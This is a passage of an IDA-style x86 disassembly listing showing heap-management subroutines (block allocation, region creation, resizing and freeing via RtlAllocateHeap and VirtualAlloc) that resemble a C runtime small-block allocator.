		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41ADFB:				; CODE XREF: sub_41ADAB+3Ej
		mov	eax, dword_4DE3F0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41AE22


loc_41AE09:				; CODE XREF: sub_41ADAB+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41AE22
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41AE09


loc_41AE22:				; CODE XREF: sub_41ADAB+5Cj
					; sub_41ADAB+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41AEA0
		mov	ebx, edx


loc_41AE29:				; CODE XREF: sub_41ADAB+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41AE45
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41AE43
		add	ebx, 14h
		jmp	short loc_41AE29
; ---------------------------------------------------------------------------


loc_41AE43:				; CODE XREF: sub_41ADAB+91j
		cmp	ebx, eax


loc_41AE45:				; CODE XREF: sub_41ADAB+83j
		jnz	short loc_41AEA0


loc_41AE47:				; CODE XREF: sub_41ADAB+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41AE5D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41AE5A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41AE47
; ---------------------------------------------------------------------------


loc_41AE5A:				; CODE XREF: sub_41ADAB+A5j
		cmp	ebx, [ebp+var_4]


loc_41AE5D:				; CODE XREF: sub_41ADAB+9Fj
		jnz	short loc_41AE85
		mov	ebx, edx


loc_41AE61:				; CODE XREF: sub_41ADAB+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41AE75
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41AE73
		add	ebx, 14h
		jmp	short loc_41AE61
; ---------------------------------------------------------------------------


loc_41AE73:				; CODE XREF: sub_41ADAB+C1j
		cmp	ebx, eax


loc_41AE75:				; CODE XREF: sub_41ADAB+BBj
		jnz	short loc_41AE85
		call	sub_41B0B4
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41AE99


loc_41AE85:				; CODE XREF: sub_41ADAB:loc_41AE5Dj
					; sub_41ADAB:loc_41AE75j
		push	ebx
		call	sub_41B165
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41AEA0


loc_41AE99:				; CODE XREF: sub_41ADAB+D8j
		xor	eax, eax
		jmp	loc_41B0AF
; ---------------------------------------------------------------------------


loc_41AEA0:				; CODE XREF: sub_41ADAB+7Aj
					; sub_41ADAB:loc_41AE45j ...
		mov	dword_4DE3F0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41AEC7
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41AEFE


loc_41AEC7:				; CODE XREF: sub_41ADAB+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41AEFB


loc_41AEE4:				; CODE XREF: sub_41ADAB+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41AEE4


loc_41AEFB:				; CODE XREF: sub_41ADAB+137j
		mov	edx, [ebp+var_4]


loc_41AEFE:				; CODE XREF: sub_41ADAB+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_41AF27
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_41AF27:				; CODE XREF: sub_41ADAB+16Dj
					; sub_41ADAB+183j
		test	ecx, ecx
		jl	short loc_41AF30
		shl	ecx, 1
		inc	edi
		jmp	short loc_41AF27
; ---------------------------------------------------------------------------


loc_41AF30:				; CODE XREF: sub_41ADAB+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_41AF4D
		push	3Fh
		pop	esi


loc_41AF4D:				; CODE XREF: sub_41ADAB+19Dj
		cmp	esi, edi
		jz	loc_41B062
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41AFBE
		cmp	edi, 20h
		jge	short loc_41AF8D
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41AFBB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_41AFBE
; ---------------------------------------------------------------------------


loc_41AF8D:				; CODE XREF: sub_41ADAB+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41AFBB
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41AFBE
; ---------------------------------------------------------------------------


loc_41AFBB:				; CODE XREF: sub_41ADAB+1D6j
					; sub_41ADAB+203j
		mov	ebx, [ebp+arg_0]


loc_41AFBE:				; CODE XREF: sub_41ADAB+1B0j
					; sub_41ADAB+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41B06E
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41B05F
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_41B030
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B01E
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_41B01E:				; CODE XREF: sub_41ADAB+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41B05F
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41ADAB+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_41B049
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_41B049:				; CODE XREF: sub_41ADAB+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_41B05F:				; CODE XREF: sub_41ADAB+24Ej
					; sub_41ADAB+283j
		mov	ecx, [ebp+var_8]


loc_41B062:				; CODE XREF: sub_41ADAB+1A4j
		test	ecx, ecx
		jz	short loc_41B071
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41B071
; ---------------------------------------------------------------------------


loc_41B06E:				; CODE XREF: sub_41ADAB+229j
		mov	ecx, [ebp+var_8]


loc_41B071:				; CODE XREF: sub_41ADAB+2B9j
					; sub_41ADAB+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41B0A7
		cmp	ebx, dword_4DE3F4
		jnz	short loc_41B0A7
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4DE3EC
		jnz	short loc_41B0A7
		and	dword_4DE3F4, 0


loc_41B0A7:				; CODE XREF: sub_41ADAB+2E0j
					; sub_41ADAB+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_41B0AF:				; CODE XREF: sub_41ADAB+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ADAB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B0B4	proc near		; CODE XREF: sub_41ADAB+CCp
		mov	eax, dword_4DE3F8
		mov	ecx, dword_4DE3E8
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41B0F7
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_4DE3FC
		push	edi
		push	dword_4DE404
		call	dword_424180	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_41B147
		add	dword_4DE3E8, 10h
		mov	dword_4DE3FC, eax
		mov	eax, dword_4DE3F8


loc_41B0F7:				; CODE XREF: sub_41B0B4+11j
		mov	ecx, dword_4DE3FC
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_4DE404
		lea	esi, [ecx+eax*4]
		call	dword_424184	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_41B147
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_4241B0	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_41B14B
		push	dword ptr [esi+10h]
		push	edi
		push	dword_4DE404
		call	dword_42417C	; RtlFreeHeap


loc_41B147:				; CODE XREF: sub_41B0B4+30j
					; sub_41B0B4+67j
		xor	eax, eax
		jmp	short loc_41B162
; ---------------------------------------------------------------------------


loc_41B14B:				; CODE XREF: sub_41B0B4+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_4DE3F8
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_41B162:				; CODE XREF: sub_41B0B4+95j
		pop	edi
		pop	esi
		retn
sub_41B0B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B165	proc near		; CODE XREF: sub_41ADAB+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_41B177:				; CODE XREF: sub_41B165+19j
		test	eax, eax
		jl	short loc_41B180
		shl	eax, 1
		inc	ebx
		jmp	short loc_41B177
; ---------------------------------------------------------------------------


loc_41B180:				; CODE XREF: sub_41B165+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_41B195:				; CODE XREF: sub_41B165+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_41B195
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_4241B0	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41B1C8
		or	eax, 0FFFFFFFFh
		jmp	loc_41B25B
; ---------------------------------------------------------------------------


loc_41B1C8:				; CODE XREF: sub_41B165+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_41B20E
		lea	eax, [edi+10h]


loc_41B1D5:				; CODE XREF: sub_41B165+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41B1D5


loc_41B20E:				; CODE XREF: sub_41B165+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_41B24B
		or	[eax+4], edi


loc_41B24B:				; CODE XREF: sub_41B165+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_41B25B:				; CODE XREF: sub_41B165+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B165	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B260	proc near		; CODE XREF: sub_417F62+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_41B40E
		test	bl, 1
		jnz	loc_41B407
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41B407
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41B2D7
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41B2D7:				; CODE XREF: sub_41B260+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41B327
		cmp	ecx, 20h
		jnb	short loc_41B303
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B327
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B327
; ---------------------------------------------------------------------------


loc_41B303:				; CODE XREF: sub_41B260+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B327
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B327:				; CODE XREF: sub_41B260+7Dj
					; sub_41B260+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41B3F5
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_41B361
		push	3Fh
		pop	edi


loc_41B361:				; CODE XREF: sub_41B260+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_41B3E3
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_41B3BA
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B3AD
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41B3AD:				; CODE XREF: sub_41B260+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3BA:				; CODE XREF: sub_41B260+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_41B3D0
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41B3D0:				; CODE XREF: sub_41B260+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_41B3DF:				; CODE XREF: sub_41B260+158j
		shr	edx, cl
		or	[eax], edx


loc_41B3E3:				; CODE XREF: sub_41B260+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41B3F8
; ---------------------------------------------------------------------------


loc_41B3F5:				; CODE XREF: sub_41B260+E5j
		mov	edx, [ebp+arg_4]


loc_41B3F8:				; CODE XREF: sub_41B260+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_41B54E
; ---------------------------------------------------------------------------


loc_41B407:				; CODE XREF: sub_41B260+52j
					; sub_41B260+5Cj
		xor	eax, eax
		jmp	loc_41B551
; ---------------------------------------------------------------------------


loc_41B40E:				; CODE XREF: sub_41B260+49j
		jge	loc_41B54E
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41B439
		push	3Fh
		pop	esi


loc_41B439:				; CODE XREF: sub_41B260+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41B4C8
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B452
		push	3Fh
		pop	esi


loc_41B452:				; CODE XREF: sub_41B260+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41B4A1
		cmp	esi, 20h
		jnb	short loc_41B47D
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41B49E
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41B49E
; ---------------------------------------------------------------------------


loc_41B47D:				; CODE XREF: sub_41B260+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41B49E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41B49E:				; CODE XREF: sub_41B260+214j
					; sub_41B260+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_41B4A1:				; CODE XREF: sub_41B260+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41B4C8
		push	3Fh
		pop	esi


loc_41B4C8:				; CODE XREF: sub_41B260+1DDj
					; sub_41B260+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41B545
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_41B51C
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B50F
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_41B50F:				; CODE XREF: sub_41B260+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_41B541
; ---------------------------------------------------------------------------


loc_41B51C:				; CODE XREF: sub_41B260+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41B532
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_41B532:				; CODE XREF: sub_41B260+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41B541:				; CODE XREF: sub_41B260+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41B545:				; CODE XREF: sub_41B260+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41B54E:				; CODE XREF: sub_41B260+1A2j
					; sub_41B260:loc_41B40Ej
		push	1
		pop	eax


loc_41B551:				; CODE XREF: sub_41B260+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B260	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B556	proc near		; CODE XREF: sub_41A9B2+41p
					; sub_41B84E:loc_41BA1Dp
		cmp	dword_43D270, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B56A
		mov	esi, offset off_43D260
		jmp	short loc_41B587
; ---------------------------------------------------------------------------


loc_41B56A:				; CODE XREF: sub_41B556+Bj
		push	2020h
		push	0
		push	dword_4DE404
		call	dword_424184	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_41B693


loc_41B587:				; CODE XREF: sub_41B556+12j
		mov	ebp, dword_4241B0
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_41B67C
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_41B66E
		mov	eax, offset off_43D260
		cmp	esi, eax
		jnz	short loc_41B5E6
		cmp	off_43D260, 0
		jnz	short loc_41B5D6
		mov	off_43D260, eax


loc_41B5D6:				; CODE XREF: sub_41B556+79j
		cmp	off_43D264, 0
		jnz	short loc_41B5FB
		mov	off_43D264, eax
		jmp	short loc_41B5FB
; ---------------------------------------------------------------------------


loc_41B5E6:				; CODE XREF: sub_41B556+70j
		mov	[esi], eax
		mov	eax, off_43D264
		mov	[esi+4], eax
		mov	off_43D264, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41B5FB:				; CODE XREF: sub_41B556+87j
					; sub_41B556+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41B61D:				; CODE XREF: sub_41B556+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B61D
		push	ebx
		push	0
		push	edi
		call	sub_4182F0
		add	esp, 0Ch


loc_41B646:				; CODE XREF: sub_41B556+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B66A
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B646
; ---------------------------------------------------------------------------


loc_41B66A:				; CODE XREF: sub_41B556+F7j
		mov	eax, esi
		jmp	short loc_41B695
; ---------------------------------------------------------------------------


loc_41B66E:				; CODE XREF: sub_41B556+63j
		push	8000h
		push	0
		push	edi
		call	dword_4241AC	; VirtualFree


loc_41B67C:				; CODE XREF: sub_41B556+4Bj
		cmp	esi, offset off_43D260
		jz	short loc_41B693
		push	esi
		push	0
		push	dword_4DE404
		call	dword_42417C	; RtlFreeHeap


loc_41B693:				; CODE XREF: sub_41B556+2Bj
					; sub_41B556+12Cj
		xor	eax, eax


loc_41B695:				; CODE XREF: sub_41B556+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B556	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B69A	proc near		; CODE XREF: sub_41B6F0+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_4241AC	; VirtualFree
		cmp	off_43F280, esi
		jnz	short loc_41B6BF
		mov	eax, [esi+4]
		mov	off_43F280, eax


loc_41B6BF:				; CODE XREF: sub_41B69A+1Bj
		cmp	esi, offset off_43D260
		jz	short loc_41B6E7
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_4DE404
		call	dword_42417C	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B6E7:				; CODE XREF: sub_41B69A+2Bj
		or	dword_43D270, 0FFFFFFFFh
		pop	esi
		retn
sub_41B69A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B6F0	proc near		; CODE XREF: sub_41B809+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43D264
		push	edi


loc_41B6FD:				; CODE XREF: sub_41B6F0+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41B79B
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41B716:				; CODE XREF: sub_41B6F0+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41B757
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_4241AC	; VirtualFree
		test	eax, eax
		jz	short loc_41B757
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_4DCDF4
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41B74C
		cmp	eax, edi
		jbe	short loc_41B74F


loc_41B74C:				; CODE XREF: sub_41B6F0+56j
		mov	[esi+0Ch], edi


loc_41B74F:				; CODE XREF: sub_41B6F0+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41B764


loc_41B757:				; CODE XREF: sub_41B6F0+2Cj
					; sub_41B6F0+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41B716


loc_41B764:				; CODE XREF: sub_41B6F0+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41B79B
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41B79B
		push	1
		lea	eax, [ecx+20h]
		pop	edx


